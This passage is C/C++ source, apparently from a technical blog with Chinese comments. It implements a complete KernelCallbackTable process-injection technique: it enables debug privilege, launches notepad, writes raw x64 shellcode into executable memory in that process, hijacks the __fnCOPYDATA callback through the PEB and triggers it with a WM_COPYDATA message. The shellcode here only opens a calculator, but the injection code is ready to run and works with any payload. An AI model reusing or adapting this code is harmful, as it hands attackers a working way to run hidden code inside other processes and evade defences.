            ULONG ProcessPreviouslyThrottled : 1;                           //0x50
            ULONG ProcessCurrentlyThrottled : 1;                            //0x50
            ULONG ProcessImagesHotPatched : 1;                              //0x50
            ULONG ReservedBits0 : 24;                                       //0x50
        };
    };
    UCHAR Padding1[4];                                                      //0x54
    union
    {
        VOID* KernelCallbackTable;                                          //0x58
        VOID* UserSharedInfoPtr;                                            //0x58
    };
    ULONG SystemReserved;                                                   //0x60
    ULONG AtlThunkSListPtr32;                                               //0x64
    VOID* ApiSetMap;                                                        //0x68
    ULONG TlsExpansionCounter;                                              //0x70
    UCHAR Padding2[4];                                                      //0x74
    VOID* TlsBitmap;                                                        //0x78
    ULONG TlsBitmapBits[2];                                                 //0x80
    VOID* ReadOnlySharedMemoryBase;                                         //0x88
    VOID* SharedData;                                                       //0x90
    VOID** ReadOnlyStaticServerData;                                        //0x98
    VOID* AnsiCodePageData;                                                 //0xa0
    VOID* OemCodePageData;                                                  //0xa8
    VOID* UnicodeCaseTableData;                                             //0xb0
    ULONG NumberOfProcessors;                                               //0xb8
    ULONG NtGlobalFlag;                                                     //0xbc
    union _LARGE_INTEGER CriticalSectionTimeout;                            //0xc0
    ULONGLONG HeapSegmentReserve;                                           //0xc8
    ULONGLONG HeapSegmentCommit;                                            //0xd0
    ULONGLONG HeapDeCommitTotalFreeThreshold;                               //0xd8
    ULONGLONG HeapDeCommitFreeBlockThreshold;                               //0xe0
    ULONG NumberOfHeaps;                                                    //0xe8
    ULONG MaximumNumberOfHeaps;                                             //0xec
    VOID** ProcessHeaps;                                                    //0xf0
    VOID* GdiSharedHandleTable;                                             //0xf8
    VOID* ProcessStarterHelper;                                             //0x100
    ULONG GdiDCAttributeList;                                               //0x108
    UCHAR Padding3[4];                                                      //0x10c
    struct _RTL_CRITICAL_SECTION* LoaderLock;                               //0x110
    ULONG OSMajorVersion;                                                   //0x118
    ULONG OSMinorVersion;                                                   //0x11c
    USHORT OSBuildNumber;                                                   //0x120
    USHORT OSCSDVersion;                                                    //0x122
    ULONG OSPlatformId;                                                     //0x124
    ULONG ImageSubsystem;                                                   //0x128
    ULONG ImageSubsystemMajorVersion;                                       //0x12c
    ULONG ImageSubsystemMinorVersion;                                       //0x130
    UCHAR Padding4[4];                                                      //0x134
    ULONGLONG ActiveProcessAffinityMask;                                    //0x138
    ULONG GdiHandleBuffer[60];                                              //0x140
    VOID(*PostProcessInitRoutine)();                                        //0x230
    VOID* TlsExpansionBitmap;                                               //0x238
    ULONG TlsExpansionBitmapBits[32];                                       //0x240
    ULONG SessionId;                                                        //0x2c0
    UCHAR Padding5[4];                                                      //0x2c4
    union _ULARGE_INTEGER AppCompatFlags;                                   //0x2c8
    union _ULARGE_INTEGER AppCompatFlagsUser;                               //0x2d0
    VOID* pShimData;                                                        //0x2d8
    VOID* AppCompatInfo;                                                    //0x2e0
    struct _UNICODE_STRING CSDVersion;                                      //0x2e8
    struct _ACTIVATION_CONTEXT_DATA* ActivationContextData;                 //0x2f8
    struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap;                //0x300
    struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData;    //0x308
    struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap;                 //0x310
    ULONGLONG MinimumStackCommit;                                           //0x318
    struct _FLS_CALLBACK_INFO* FlsCallback;                                 //0x320
    struct _LIST_ENTRY FlsListHead;                                         //0x328
    VOID* FlsBitmap;                                                        //0x338
    ULONG FlsBitmapBits[4];                                                 //0x340
    ULONG FlsHighIndex;                                                     //0x350
    VOID* WerRegistrationData;                                              //0x358
    VOID* WerShipAssertPtr;                                                 //0x360
    VOID* pUnused;                                                          //0x368
    VOID* pImageHeaderHash;                                                 //0x370
    union
    {
        ULONG TracingFlags;                                                 //0x378
        struct
        {
            ULONG HeapTracingEnabled : 1;                                   //0x378
            ULONG CritSecTracingEnabled : 1;                                //0x378
            ULONG LibLoaderTracingEnabled : 1;                              //0x378
            ULONG SpareTracingBits : 29;                                    //0x378
        };
    };
    UCHAR Padding6[4];                                                      //0x37c
    ULONGLONG CsrServerReadOnlySharedMemoryBase;                            //0x380
    ULONGLONG TppWorkerpListLock;                                           //0x388
    struct _LIST_ENTRY TppWorkerpList;                                      //0x390
    VOID* WaitOnAddressHashTable[128];                                      //0x3a0
    VOID* TelemetryCoverageHeader;                                          //0x7a0
    ULONG CloudFileFlags;                                                   //0x7a8
    ULONG CloudFileDiagFlags;                                               //0x7ac
    CHAR PlaceholderCompatibilityMode;                                      //0x7b0
    CHAR PlaceholderCompatibilityModeReserved[7];                           //0x7b1
    struct _LEAP_SECOND_DATA* LeapSecondData;                               //0x7b8
    union
    {
        ULONG LeapSecondFlags;                                              //0x7c0
        struct
        {
            ULONG SixtySecondEnabled : 1;                                   //0x7c0
            ULONG Reserved : 31;                                            //0x7c0
        };
    };
    ULONG NtGlobalFlag2;                                                    //0x7c4
} PEBC, * PPEB;

typedef LONG KPRIORITY;

typedef struct _PROCESS_BASIC_INFORMATION {
    NTSTATUS ExitStatus;
    PPEB PebBaseAddress;
    ULONG_PTR AffinityMask;
    KPRIORITY BasePriority;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;

typedef enum _PROCESSINFOCLASS
{
    ProcessBasicInformation = 0,
    ProcessDebugPort = 7,
    ProcessWow64Information = 26,
    ProcessImageFileName = 27,
    ProcessBreakOnTermination = 29
} PROCESSINFOCLASS, * PPROCESSINFOCLASS;

typedef NTSTATUS(WINAPI* PFN_NTQUERYINFORMATIONPROCESS)(
    HANDLE ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength,
    PULONG ReturnLength
    );

PFN_NTQUERYINFORMATIONPROCESS NtQueryInformationProcess = NULL;

main.cpp

#include <Windows.h>
#include <stdio.h>
#include <cstddef> // 确保包含此头文件
#include "struct.h"

// 定义颜色宏(可选)
#define COLOR_RESET "\033[0m"
#define COLOR_RED_BOLD "\033[1;31m"
#define COLOR_GREEN_BOLD "\033[1;32m"
#define COLOR_YELLOW_BOLD "\033[1;32m"
#define COLOR_BLUE_BOLD "\033[1;34m"
#define MAX_WAIT_TIME 10000

PVOID PebBaseAddress = NULL;


// 功能:加载 NtQueryInformationProcess 函数,并打印加载状态
void LoadNtQueryInformationProcess()
{
    // 打印加载信息,使用颜色宏来设置输出样式
    printf(COLOR_YELLOW_BOLD "[*] Loading NtQueryInformationProcess...\n" COLOR_RESET);

    // 获取 ntdll.dll 模块的句柄
    HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");

    // 检查 ntdll.dll 是否成功加载
    if (hNtdll)
    {
        // 从 ntdll.dll 中获取 NtQueryInformationProcess 函数的地址
        NtQueryInformationProcess = (PFN_NTQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "NtQueryInformationProcess");

        // 检查函数地址是否成功获取
        if (NtQueryInformationProcess)
        {
            // 打印成功加载的消息,包括函数地址
            printf(COLOR_GREEN_BOLD "[+] NtQueryInformationProcess loaded successfully at address: 0x%p\n" COLOR_RESET, NtQueryInformationProcess);
        }
        else
        {
            // 打印失败加载的消息
            printf(COLOR_RED_BOLD "\t[-] Failed to resolve NtQueryInformationProcess address.\n" COLOR_RESET);
        }
    }
    else
    {
        // 如果 ntdll.dll 加载失败,打印错误消息
        printf(COLOR_RED_BOLD "\t[-] Failed to load ntdll.dll.\n" COLOR_RESET);
    }
}



// 功能:启用当前进程的调试权限
void EnableDebugPrivilege()
{
    // 打印启用调试权限的信息,使用颜色宏来设置输出样式
    printf(COLOR_YELLOW_BOLD "[*] Enabling Debug Privilege...\n" COLOR_RESET);

    HANDLE hToken; // 进程令牌句柄
    TOKEN_PRIVILEGES tkp; // 存储权限信息的结构体

    // 打开当前进程的令牌,以便调整权限
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        // 查找调试权限的 LUID(唯一标识符)
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);

        // 设置权限计数为 1
        tkp.PrivilegeCount = 1;

        // 设置调试权限的属性为启用
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

        // 调整令牌的权限
        AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL);

        // 关闭令牌句柄
        CloseHandle(hToken);

        // 打印成功启用调试权限的消息(注释掉的代码)
        printf(COLOR_GREEN_BOLD "[+] Debug Privilege enabled.\n" COLOR_RESET );
    }
    else
    {
        // 打印失败启用调试权限的消息
        printf(COLOR_RED_BOLD "[-] Failed to enable Debug Privilege.\n" COLOR_RESET);
    }
}

// calc shellcode
unsigned char payload[] = {
 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};
SIZE_T shellcodeSize = sizeof(payload);
SIZE_T bytesRead = 0;

int main()
{
    printf(COLOR_YELLOW_BOLD "[*] Initializing exploit...\n" COLOR_RESET);

    // 步骤一:启用调试权限
    EnableDebugPrivilege();

    // 步骤二:加载 NtQueryInformationProcess
    LoadNtQueryInformationProcess();
    if (!NtQueryInformationProcess)
    {
        printf(COLOR_RED_BOLD "\t[-] NtQueryInformationProcess is NULL. Exiting...\n" COLOR_RESET);
        return -1;
    }

    printf(COLOR_YELLOW_BOLD "[*] Starting PEB KernelCallbackTable Injection Exploit...\n\n" COLOR_RESET);

    // 步骤三:启动 Target 进程
    PROCESS_INFORMATION pi = { 0 };
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;

    printf(COLOR_YELLOW_BOLD "\t[*] Creating new Notepad process...\n" COLOR_RESET);
    if (!CreateProcess(
        L"C:\\Windows\\System32\\notepad.exe",
        NULL,
        NULL,
        NULL,
        FALSE,
        CREATE_NEW_CONSOLE,
        NULL,
        NULL,
        &si,
        &pi
    ))
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to create Notepad process. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }

    printf(COLOR_GREEN_BOLD "\t[+] Notepad process created successfully. PID: %d\n" COLOR_RESET, pi.dwProcessId);

    // 步骤四:等待进程完成初始化
    printf(COLOR_YELLOW_BOLD "\t[*] Waiting for Notepad initialization...\n" COLOR_RESET);
    WaitForInputIdle(pi.hProcess, 1000);

    // 步骤五: 找到记事本的窗口句柄
    HWND hWindow = NULL;
    DWORD waitTime = 0;
    while (hWindow == NULL && waitTime < MAX_WAIT_TIME)
    {
        hWindow = FindWindow(L"Notepad", NULL);
        if (!hWindow)
        {
            Sleep(500);  // Wait for 500 ms before retrying
            waitTime += 500;
        }
    }

    if (!hWindow)
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to find Notepad window handle after waiting for %d milliseconds.\n" COLOR_RESET, MAX_WAIT_TIME);
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        return -1;
    }

    printf(COLOR_GREEN_BOLD "\t[+] Window Handle found: 0x%p\n" COLOR_RESET, hWindow);

    // 步骤六: 获得记事本窗口进程的PID
    DWORD pid;
    GetWindowThreadProcessId(hWindow, &pid);
    printf(COLOR_GREEN_BOLD "\t[+] Process ID: %d\n" COLOR_RESET, pid);

    HANDLE hProcess = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
        FALSE,
        pid
    );
    if (!hProcess)
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to open target process. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_GREEN_BOLD "\t[+] Process Handle: 0x%p\n" COLOR_RESET, hProcess);

    // 步骤七:检索 PEB 地址
    printf(COLOR_YELLOW_BOLD "\t[*] Retrieving PEB Address using NtQueryInformationProcess...\n" COLOR_RESET);
    PROCESS_BASIC_INFORMATION pbi;
    ULONG returnLength;
    NTSTATUS status = NtQueryInformationProcess(
        hProcess,
        ProcessBasicInformation,
        &pbi,
        sizeof(pbi),
        &returnLength
    );
    if (status != 0)
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to query process information. NTSTATUS: 0x%lx\n" COLOR_RESET, status);
        return -1;
    }
    PebBaseAddress = pbi.PebBaseAddress;
    printf(COLOR_BLUE_BOLD "\t\t[*] PEB Address: 0x%p\n" COLOR_RESET, PebBaseAddress);

    // 步骤八:读取目标窗口进程的内核回调表的地址
    PVOID KernelCallbackTable;
    SIZE_T bytesRead = 0;
    if (!ReadProcessMemory(
        hProcess,
        (PBYTE)PebBaseAddress + offsetof(PEBC, KernelCallbackTable),
        &KernelCallbackTable,
        sizeof(PVOID),
        &bytesRead
    ))
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to read KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_BLUE_BOLD "\t\t[*] KernelCallbackTable Address: 0x%p\n" COLOR_RESET, KernelCallbackTable);

    // 步骤九: 将内核回调表所有回调函数指针读到KERNELCALLBACKTABLE结构体中。
    KERNELCALLBACKTABLE CCC;
    if (!ReadProcessMemory(
        hProcess,
        KernelCallbackTable,
        &CCC,
        sizeof(CCC),
        &bytesRead
    ))
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to read KernelCallbackTable structure. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_GREEN_BOLD "\n\t[+] KernelCallbackTable read successfully. %zu bytes read.\n" COLOR_RESET, bytesRead);
    printf(COLOR_BLUE_BOLD "\t\t[*] Dumping KernelCallbackTable structure:\n" COLOR_RESET);
    printf(COLOR_GREEN_BOLD "\t\t\t__fnCOPYDATA: 0x%p\n" COLOR_RESET, (void*)CCC.__fnCOPYDATA);
    printf(COLOR_GREEN_BOLD "\t\t\t__fnCOPYGLOBALDATA: 0x%p\n" COLOR_RESET, (void*)CCC.__fnCOPYGLOBALDATA);
    printf(COLOR_GREEN_BOLD "\t\t\t__fnDWORD: 0x%p\n" COLOR_RESET, (void*)CCC.__fnDWORD);

    // 步骤十: 在远程目标窗口进程中申请一块RWX内存区域并将shellcode写入该区域
    printf(COLOR_YELLOW_BOLD "\n\t[*] Allocating remote buffer for payload...\n" COLOR_RESET);
    LPVOID remotebuf = VirtualAllocEx(
        hProcess,
        NULL,
        shellcodeSize,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
    );
    if (!remotebuf)
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to allocate remote buffer. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }
    if (!WriteProcessMemory(
        hProcess,
        remotebuf,
        payload,
        shellcodeSize,
        NULL
    ))
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to write payload to remote buffer. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_GREEN_BOLD "\t[+] Payload written to remote buffer at: 0x%p\n" COLOR_RESET, remotebuf);

    // 步骤十一: 修改 _fnCOPYDATA函数指针为shellcode
    printf(COLOR_YELLOW_BOLD "\t[*] Modifying __fnCOPYDATA to point to payload...\n" COLOR_RESET);
    CCC.__fnCOPYDATA = (ULONG_PTR)remotebuf;
    printf(COLOR_BLUE_BOLD "\t\t[*] __fnCOPYDATA now points to: 0x%p\n" COLOR_RESET, remotebuf);

    // 步骤十二: 为修改后的KERNELCALLBACKTABLE申请一块内存区域
    printf(COLOR_YELLOW_BOLD "\n\t[*] Cloning modified KernelCallbackTable...\n" COLOR_RESET);
    LPVOID cloneCCC = VirtualAllocEx(
        hProcess,
        NULL,
        sizeof(CCC),
        MEM_RESERVE | MEM_COMMIT,
        PAGE_READWRITE
    );
    if (!cloneCCC)
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to allocate memory for cloned KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }
    if (!WriteProcessMemory(
        hProcess,
        cloneCCC,
        &CCC,
        sizeof(CCC),
        NULL
    ))
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to write cloned KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_GREEN_BOLD "\t[+] Cloned KernelCallbackTable written at: 0x%p\n" COLOR_RESET, cloneCCC);

    // 步骤十三: 更新PEB中的KernelCallbackTable指针,使其指向并修改后的内核回调表。
    printf(COLOR_YELLOW_BOLD "\t[*] Updating PEB with cloned KernelCallbackTable...\n" COLOR_RESET);
    if (!WriteProcessMemory(
        hProcess,
        (PBYTE)PebBaseAddress + offsetof(PEBC, KernelCallbackTable),
        &cloneCCC,
        sizeof(PVOID),
        &bytesRead
    ))
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to update PEB KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_GREEN_BOLD "\t[+] PEB KernelCallbackTable updated successfully!\n" COLOR_RESET);


    // 步骤十四: 发送消息给目标窗口,从而触发执行shellcode
    printf(COLOR_YELLOW_BOLD "\t[*] Sending message to trigger the payload...\n" COLOR_RESET);
    COPYDATASTRUCT cds;
    WCHAR msg[] = L"oneday";
    cds.dwData = 1;
    cds.cbData = (lstrlenW(msg) + 1) * sizeof(WCHAR);
    cds.lpData = msg;
    LRESULT result = SendMessage(
        hWindow,
        WM_COPYDATA,
        (WPARAM)hWindow,
        (LPARAM)&cds
    );
    if (result == 0 && GetLastError() != 0)
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to send message to trigger payload. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_GREEN_BOLD "\t[+] Payload triggered!\n" COLOR_RESET);

    // 清理内存和句柄
    printf(COLOR_YELLOW_BOLD "\t[*] Cleaning up...\n" COLOR_RESET);
    VirtualFreeEx(hProcess, remotebuf, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, cloneCCC, 0, MEM_RELEASE);
    TerminateProcess(pi.hProcess, 0);
    CloseHandle(hProcess);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    printf(COLOR_GREEN_BOLD "[+] Exploit completed successfully.\n" COLOR_RESET);
    return 0;
}

Last updated